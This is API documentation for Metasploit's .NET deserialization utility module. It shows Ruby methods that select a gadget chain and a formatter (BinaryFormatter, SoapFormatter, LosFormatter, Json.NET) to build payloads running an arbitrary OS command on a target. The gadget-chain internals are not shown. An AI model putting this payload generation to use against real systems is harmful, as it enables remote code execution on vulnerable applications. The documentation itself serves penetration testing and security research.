Module: Msf::Util::DotNetDeserialization

Defined in:
lib/msf/util/dot_net_deserialization.rb,
lib/msf/util/dot_net_deserialization/enums.rb,
lib/msf/util/dot_net_deserialization/types.rb,
lib/msf/util/dot_net_deserialization/assemblies.rb,
lib/msf/util/dot_net_deserialization/formatters.rb,
lib/msf/util/dot_net_deserialization/gadget_chains.rb,
lib/msf/util/dot_net_deserialization/types/general.rb,
lib/msf/util/dot_net_deserialization/types/primitives.rb,
lib/msf/util/dot_net_deserialization/types/record_values.rb,
lib/msf/util/dot_net_deserialization/gadget_chains/data_set.rb,
lib/msf/util/dot_net_deserialization/formatters/los_formatter.rb,
lib/msf/util/dot_net_deserialization/formatters/soap_formatter.rb,
lib/msf/util/dot_net_deserialization/formatters/binary_formatter.rb,
lib/msf/util/dot_net_deserialization/formatters/json_net_formatter.rb,
lib/msf/util/dot_net_deserialization/gadget_chains/claims_principal.rb,
lib/msf/util/dot_net_deserialization/gadget_chains/windows_identity.rb,
lib/msf/util/dot_net_deserialization/gadget_chains/data_set_type_spoof.rb,
lib/msf/util/dot_net_deserialization/gadget_chains/object_data_provider.rb,
lib/msf/util/dot_net_deserialization/gadget_chains/type_confuse_delegate.rb,
lib/msf/util/dot_net_deserialization/gadget_chains/text_formatting_run_properties.rb

Overview

Much of this code is based on the YSoSerial.Net project see: github.com/pwntester/ysoserial.net

Defined Under Namespace

Modules: Assemblies, Enums, Formatters, GadgetChains, Types

Constant Summary collapse

DEFAULT_FORMATTER =
:BinaryFormatter
DEFAULT_GADGET_CHAIN =
:TextFormattingRunProperties

Class Method Summary collapse

Class Method Details

.encode_7bit_int(int) ⇒ Object



14
15
16
17
18
19
20
21
22
23
24
25
26
27
# File 'lib/msf/util/dot_net_deserialization.rb', line 14

def self.encode_7bit_int(int)
  return "\x00".b if int == 0

  # see: https://github.com/microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/mscorlib/system/io/binaryreader.cs#L582
  encoded_int = []
  while int > 0
    value = int & 0x7f
    int >>= 7
    value |= 0x80 if int > 0
    encoded_int << value
  end

  encoded_int.pack('C*')
end

.formatter_compatible_gadget_chains(formatter) ⇒ Array<Symbol>

Get a list of gadget chains that are compatible with the specified formatter.

Parameters:

  • formatter (Symbol)

    The formatter to get gadget chains for.

Returns:

  • (Array<Symbol>)


87
88
89
90
91
92
93
94
95
96
97
98
99
100
# File 'lib/msf/util/dot_net_deserialization.rb', line 87

def self.formatter_compatible_gadget_chains(formatter)
  case formatter
  when :BinaryFormatter, :LosFormatter
    chains = GadgetChains::NAMES.select { |name| GadgetChains.const_get(name) <= (Types::SerializedStream) }
  when :JsonNetFormatter
    chains = %i[ ObjectDataProvider ]
  when :SoapFormatter
    chains = %i[ ClaimsPrincipal TextFormattingRunProperties WindowsIdentity ]
  else
    raise NotImplementedError, 'The specified formatter is not implemented'
  end

  chains
end

.generate(cmd, gadget_chain: DEFAULT_GADGET_CHAIN, formatter: DEFAULT_FORMATTER) ⇒ String

Generates a .NET deserialization payload for the specified OS command using a selected gadget-chain and formatter combination.

Parameters:

  • cmd (String)

    The OS command to execute.

  • gadget_chain (Symbol) (defaults to: DEFAULT_GADGET_CHAIN)

    The gadget chain to use for execution. This will be application specific.

  • formatter (Symbol) (defaults to: DEFAULT_FORMATTER)

    An optional formatter to use to encapsulate the gadget chain.

Returns:

  • (String)


52
53
54
55
# File 'lib/msf/util/dot_net_deserialization.rb', line 52

def self.generate(cmd, gadget_chain: DEFAULT_GADGET_CHAIN, formatter: DEFAULT_FORMATTER)
  stream = self.generate_gadget_chain(cmd, gadget_chain: gadget_chain)
  self.generate_formatted(stream, formatter: formatter)
end

.generate_formatted(stream, formatter: DEFAULT_FORMATTER) ⇒ String

Take the specified serialized blob and encapsulate it with the specified formatter.

Parameters:

Returns:

  • (String)


66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
# File 'lib/msf/util/dot_net_deserialization.rb', line 66

def self.generate_formatted(stream, formatter: DEFAULT_FORMATTER)
  case formatter
  when :BinaryFormatter
    formatted = Formatters::BinaryFormatter.generate(stream)
  when :JsonNetFormatter
    formatted = Formatters::JsonNetFormatter.generate(stream)
  when :LosFormatter
    formatted = Formatters::LosFormatter.generate(stream)
  when :SoapFormatter
    formatted = Formatters::SoapFormatter.generate(stream)
  else
    raise NotImplementedError, 'The specified formatter is not implemented'
  end

  formatted
end

.generate_gadget_chain(cmd, gadget_chain: DEFAULT_GADGET_CHAIN) ⇒ Types::SerializedStream

Generate a serialized data blob using the specified gadget chain to execute the OS command. The chosen gadget chain must be compatible with the target application.

Parameters:

  • cmd (String)

    The operating system command to execute. It will automatically be prefixed with “cmd /c” by the gadget chain.

  • gadget_chain (Symbol) (defaults to: DEFAULT_GADGET_CHAIN)

    The gadget chain to use for execution.

Returns:



110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
# File 'lib/msf/util/dot_net_deserialization.rb', line 110

def self.generate_gadget_chain(cmd, gadget_chain: DEFAULT_GADGET_CHAIN)
  case gadget_chain
  when :ClaimsPrincipal
    stream = GadgetChains::ClaimsPrincipal.generate(cmd)
  when :DataSet
    stream = GadgetChains::DataSet.generate(cmd)
  when :DataSetTypeSpoof
    stream = GadgetChains::DataSetTypeSpoof.generate(cmd)
  when :ObjectDataProvider
    stream = GadgetChains::ObjectDataProvider.generate(cmd)
  when :TextFormattingRunProperties
    stream = GadgetChains::TextFormattingRunProperties.generate(cmd)
  when :TypeConfuseDelegate
    stream = GadgetChains::TypeConfuseDelegate.generate(cmd)
  when :WindowsIdentity
    stream = GadgetChains::WindowsIdentity.generate(cmd)
  else
    raise NotImplementedError, 'The specified gadget chain is not implemented'
  end

  stream
end

.get_ancestor(obj, ancestor_type, required: true) ⇒ Object

Raises:

  • (RuntimeError)


29
30
31
32
33
34
35
36
37
# File 'lib/msf/util/dot_net_deserialization.rb', line 29

def self.get_ancestor(obj, ancestor_type, required: true)
  while ! (obj.nil? || obj.is_a?(ancestor_type))
    obj = obj.parent
  end

  raise RuntimeError, "Failed to find ancestor #{ancestor_type.name}" if obj.nil? && required

  obj
end